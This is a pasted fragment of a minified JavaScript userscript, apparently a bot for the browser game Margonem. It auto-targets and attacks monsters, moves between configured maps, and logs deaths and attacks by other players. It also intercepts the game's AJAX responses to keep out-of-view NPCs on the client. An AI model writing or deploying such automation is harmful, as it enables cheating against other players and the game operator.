- }, 4e3);
- let J;
- this.PI = parseInput, parseInput = function(K) {
- let L = v.PI.apply(this, arguments);
- if(localStorage.getItem('boton') == 'on'){
- if (!g.battle && !g.dead && G) {
- if (!B && !F) {
- if (B = v.findBestMob(), !B && localStorage.getItem(`bot_expowiska`)) {
- let M, N = 9999;
- if (r[localStorage.getItem(`bot_expowiska`)].mobs_id) {
- let O = r[localStorage.getItem(`bot_expowiska`)].mobs_id;
- for (let P in O) g.npc[O[P]] && (M = d(g.npc[O[P]].x, g.npc[O[P]].y).length, M < N && (N = M, B = O[P]))
- }
- }
- A = !1, z = !1
- }
- if (B) {
- let M = g.npc[B];
- if (!M) return B = void 0, L;
- 2 > Math.abs(hero.x - M.x) && 2 > Math.abs(hero.y - M.y) && !z ? (z = !0, _g(`fight&a=attack&ff=1&id=-${M.id}`, function(N) {
- N.alert && `Przeciwnik walczy już z kimś innym` == N.alert && (f(M.id), B = void 0)
- }), setTimeout(function() {
- B = void 0
- }, 500)) : !A && !z && (e(M.x, M.y), A = !0)
- } else 0 < document.querySelector(`#bot_maps`).value.length && (J = v.findBestGw(), J && !F && (hero.x == J.x && hero.y == J.y ? _g(`walk`) : (e(J.x, J.y), F = !0, setTimeout(function() {
- F = !1
- }, 2e3))));
- D == hero.y && C == C ? (E++, 4 < E && (k(), E = 0, B = void 0, J = void 0, F = !1)) : (D = hero.y, C = hero.x, E = 0)
- }
- if (g.dead && H && (H = !1, l(`Padłem na ${hero.lvl}${hero.prof} - ${m()}`), document.location.href = `http://margonem.pl`), K.hasOwnProperty("f") && 1 == K.f.init && 0 < hero.clan && !Object.keys(K.f.w).some(M => 0 > M)) {
- const M = [],
- N = [];
- for (let O of Object.values(K.f.w)) 1 == O.team && M.push(`${O.name} ${O.lvl}${O.prof}`) || N.push(`${O.name} ${O.lvl}${O.prof} `);
- if (2 == K.f.myteam && -1 < document.querySelector(`#bot_maps`).value.indexOf(map.name)) {
- const O = `Zostałem zaatakowany na mapie ${map.name} o godzinie ${m()}.\n${M.join(", ")} vs ${N.join(", ")}`;
- l(O)
- }
- }
- return L
- }}, this.findBestMob = function() {
- let K, M, L = 9999;
- if(localStorage.getItem('boton') == 'on'){
- for (let N in g.npc) {
- let P, Q, R, O = g.npc[N];
- if (-1 < document.querySelector(`#bot_mobs`).value.indexOf(`-`) && (P = document.querySelector(`#bot_mobs`).value.split(`-`), Q = parseInt(P[0]), R = parseInt(P[1])), (2 == O.type || 3 == O.type) && P && O.lvl <= R && O.lvl >= Q && o(O.id) && !I.includes(O.id) && 20 > O.wt) {
- if (K = d(O.x, O.y), void 0 == K) continue;
- K.length < L && (L = K.length, M = O.id)
- }
- }
- return M
- }}, localStorage.getItem(`alksjd`) || localStorage.setItem(`alksjd`, 0), this.findBestGw = function() {
- let K, L = document.querySelector(`#bot_maps`).value.split(`, `),
- M = parseInt(localStorage.getItem(`alksjd`));
- if(localStorage.getItem('boton') == 'on'){
- for (let N in g.townname)
- if (L[M] == g.townname[N]) {
- let O = g.gwIds[N].split(`.`);
- return K = {
- x: O[0],
- y: O[1]
- }, K
- } M++, M > L.length && (M = 0), localStorage.setItem(`alksjd`, parseInt(M))
- }}, this.initHTML = function() {
- if (!localStorage.getItem(`bot_position`)) {
- localStorage.setItem(`bot_position`, JSON.stringify({
- x: 0,
- y: 0
- }))
- }
- let K = JSON.parse(localStorage.getItem(`bot_position`)),
- L = document.createElement(`div`);
- L.id = `bot_box`;
- const span = document.createElement('span');
- span.innerHTML='<br><span style="font-size : 12px">Lvl mobów</span> ';
- span.classList.add(`lvl`),L.appendChild(span);
- let M = document.createElement(`input`);
- M.type = `text`, M.id = `bot_mobs`, M.classList.add(`lvl1`), L.appendChild(M);
- let N = document.createElement(`input`);
- N.type = `text`, N.id = `bot_maps`, N.classList.add(`Tekst`), L.appendChild(N);
- const span2 = document.createElement('span');
- span2.innerHTML='<br><span style="font-size : 12px">Gotowe setupy</span> ';
- span2.classList.add(`lvl`), L.appendChild(span2);
- let O = document.createElement(`select`);
- O.id = `bot_list`, O.classList.add(`setup`);
- for (let S, R = 0; R < Object.keys(r).length; R++) S = document.createElement(`option`), S.setAttribute(`value`, Object.keys(r)[R]), S.text = Object.keys(r)[R], O.appendChild(S);
- L.appendChild(O), document.body.appendChild(L);
- let P = document.createElement(`style`);
- P.type = `text/css`;
- let Q = `
- #bot_box {
- position: absolute;
- border: 1px solid orange;
- padding: 10px;
- background-image:url(https://i.imgur.com/mTDWsJK.png);
- left: ${K.x}px;
- top: ${K.y}px;
- width: 230px;
- height: 170px;
- }
- .lvl{
- font-size: 12px;
- width: 60px;
- height: 10px;
- font-weight: 900;
- }
- .setup{
- font-size: 13px;
- width: 209px;
- box-sizing: content-box;
- margin: 1px;
- margin-bottom: 3px;
- padding: 2px;
- border-image: url() 30 round;
- color: rgba(255,255,255,1);
- -o-text-overflow: clip;
- text-overflow: clip;
- background: rgba(112,112,112,1);
- -webkit-box-shadow: 2px 2px 2px 0 rgba(0,0,0,0.2) inset;
- display: block;
- }
- .Tekst {
- font-size: 13px;
- font-weight: normal;
- font-style: normal;
- box-sizing: content-box;
- margin: 1px;
- margin-bottom: 3px;
- padding: 2px;
- border-image: url() 30 round;
- color: rgba(255,255,255,1);
- -o-text-overflow: clip;
- text-overflow: clip;
- background: rgba(112,112,112,1);
- -webkit-box-shadow: 2px 2px 2px 0 rgba(0,0,0,0.2) inset;
- display: block;
- }
- .lvl1{
- font-size: 12px;
- width: 45px;
- height: 12px;
- font-style: normal;
- border-image: url() 30 round;
- color: rgba(255,255,255,1);
- -o-text-overflow: clip;
- text-overflow: clip;
- background: rgba(112,112,112,1);
- }
- .setup{
- font-size: 13px;
- width: 209px;
- box-sizing: content-box;
- margin: 1px;
- margin-bottom: 3px;
- padding: 2px;
- border-image: url() 30 round;
- color: rgba(255,255,255,1);
- -o-text-overflow: clip;
- text-overflow: clip;
- background: rgba(112,112,112,1);
- -webkit-box-shadow: 2px 2px 2px 0 rgba(0,0,0,0.2) inset;
- display: block;
- }
- .bot_inputs {
- -webkit-box-sizing: content-box;
- -moz-box-sizing: content-box;
- box-sizing: content-box;
- margin: 0 auto;
- margin-bottom: 3px;
- padding: 2px;
- cursor: pointer;
- border: 2px solid #f76f6f;
- -webkit-border-radius: 5px;
- border-radius: 5px;
- font: normal 16px/normal "Times New Roman", Times, serif;
- color: rgba(0,142,198,1);
- -o-text-overflow: clip;
- text-overflow: clip;
- background: rgba(234,227,227,1);
- -webkit-box-shadow: 2px 2px 2px 0 rgba(0,0,0,0.2) inset;
- box-shadow: 2px 2px 2px 0 rgba(0,0,0,0.2) inset;
- text-shadow: 1px 1px 0 rgba(255,255,255,0.66) ;
- display: block;
- }
- input[id=bot_mobs] {
- text-align: center;
- }
- #bot_blessingbox {
- border: 1px solid blue;
- background: gray;
- height: 32px;
- width: 32px;
- margin: 0 auto;
- }
- `;
- P.appendChild(document.createTextNode(Q)), document.head.appendChild(P), localStorage.getItem(`bot_mobs`) && (M.value = localStorage.getItem(`bot_mobs`)), localStorage.getItem(`bot_maps`) && (N.value = localStorage.getItem(`bot_maps`)), localStorage.getItem(`bot_expowiska`) && r[localStorage.getItem(`bot_expowiska`)] && (O.value = localStorage.getItem(`bot_expowiska`)), M.addEventListener(`keyup`, () => {
- localStorage.setItem(`bot_mobs`, M.value)
- }), N.addEventListener(`keyup`, () => {
- localStorage.setItem(`bot_maps`, N.value)
- }), O.addEventListener(`change`, () => {
- localStorage.setItem(`bot_expowiska`, O.value), N.value = r[O.value].map, localStorage.setItem(`bot_maps`, N.value), localStorage.setItem(`alksjd`, 0), message(`Zapisano expowisko "${O.value}"`)
- localStorage.setItem(`bot_mobs`, O.value), M.value = AB[O.value].lvl, localStorage.setItem(`bot_mobs`, M.value), localStorage.setItem(`alksjd`, 0)
- }), $(`#bot_box`).draggable({
- stop: () => {
- let R = {
- x: parseInt(document.querySelector(`#bot_box`).style.left),
- y: parseInt(document.querySelector(`#bot_box`).style.top)
- };
- localStorage.setItem(`bot_position`, JSON.stringify(R)), message(`Zapisano pozycję`)
- }
- })
- }, this.initHTML()
- };
- (() => {
- new class DoNotRemoveNpcs {
- constructor() {
- this.interface = typeof window.Engine === "object" ? "ni" : "si";
- this.npcsOutOfView = new Array();
- this.initAjaxParser();
- }
- get hero() {
- return this.interface === "ni" ? window.Engine.hero.d : window.hero;
- }
- get map() {
- return this.interface === "ni" ? window.Engine.map.d : window.map;
- }
- get npcs() {
- return this.interface === "ni" ? this.npcsOnNewInterface : window.g.npc;
- }
- get npcsOnNewInterface() {
- const newNpcs = new Object();
- for (const [id, npc] of Object.entries(window.Engine.npcs.check())) {
- newNpcs[id] = npc.d;
- }
- return newNpcs;
- }
- npcInOutOfRange(hero, {x, y}) {
- return Math.abs(x - hero.x) > this.map.visibility || Math.abs(y - hero.y) > this.map.visibility;
- }
- initAjaxParser() {
- const self = this;
- const _ajax = window.$.ajax;
- window.$.ajax = (...args) => {
- if (args[0].url.indexOf("/engine?t=") > -1) {
- const oldsucc = args[0].success;
- args[0].success = (...arg) => {
- const canEmit = typeof arg[0] === "object" && arg[0] !== null && arg[0].e === "ok";
- if (canEmit) {
- arg[0] = self.parseInput(arg[0]);
- }
- return oldsucc.apply(this, arg);
- };
- }
- return _ajax.apply(this, args);
- }
- }
- parseInput(data) {
- if (this.map.visibility !== 0) {
- if (data.hasOwnProperty("npc") && data.npc !== undefined) {
- for (const [id, npc] of Object.entries(data.npc)) {
- if (npc.hasOwnProperty("del") && npc.del === 1 && this.npcs[id] !== undefined) {
- if ([2, 3].includes(this.npcs[id].type) && this.npcInOutOfRange(this.hero, this.npcs[id])) {
- this.npcsOutOfView.push(id);
- delete data.npc[id];
- }
- }
- }
- }
- }
- if (data.hasOwnProperty("h") && data.h.hasOwnProperty("x") && data.h.hasOwnProperty("y")) {
- const npcsToRemove = new Array();
- for (const [id, npc] of Object.entries(this.npcs)) {
- if (this.npcsOutOfView.includes(id) && !this.npcInOutOfRange(data.h, npc)) {
- this.npcsOutOfView.splice(this.npcsOutOfView.indexOf(id), 1);
- if ((data.hasOwnProperty("npc") && data.npc[id] === undefined) || !data.hasOwnProperty("npc")) {
- npcsToRemove.push(id);
- }
- }
- }
- if (npcsToRemove.length > 0) {
- if (!data.hasOwnProperty("npc")) {
- data.npc = new Object();
- }
- for (const id of npcsToRemove) {
- data.npc[id] = {
- del: 2
- }
- }
- }
- }
- return data;
- }
- }
- })()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement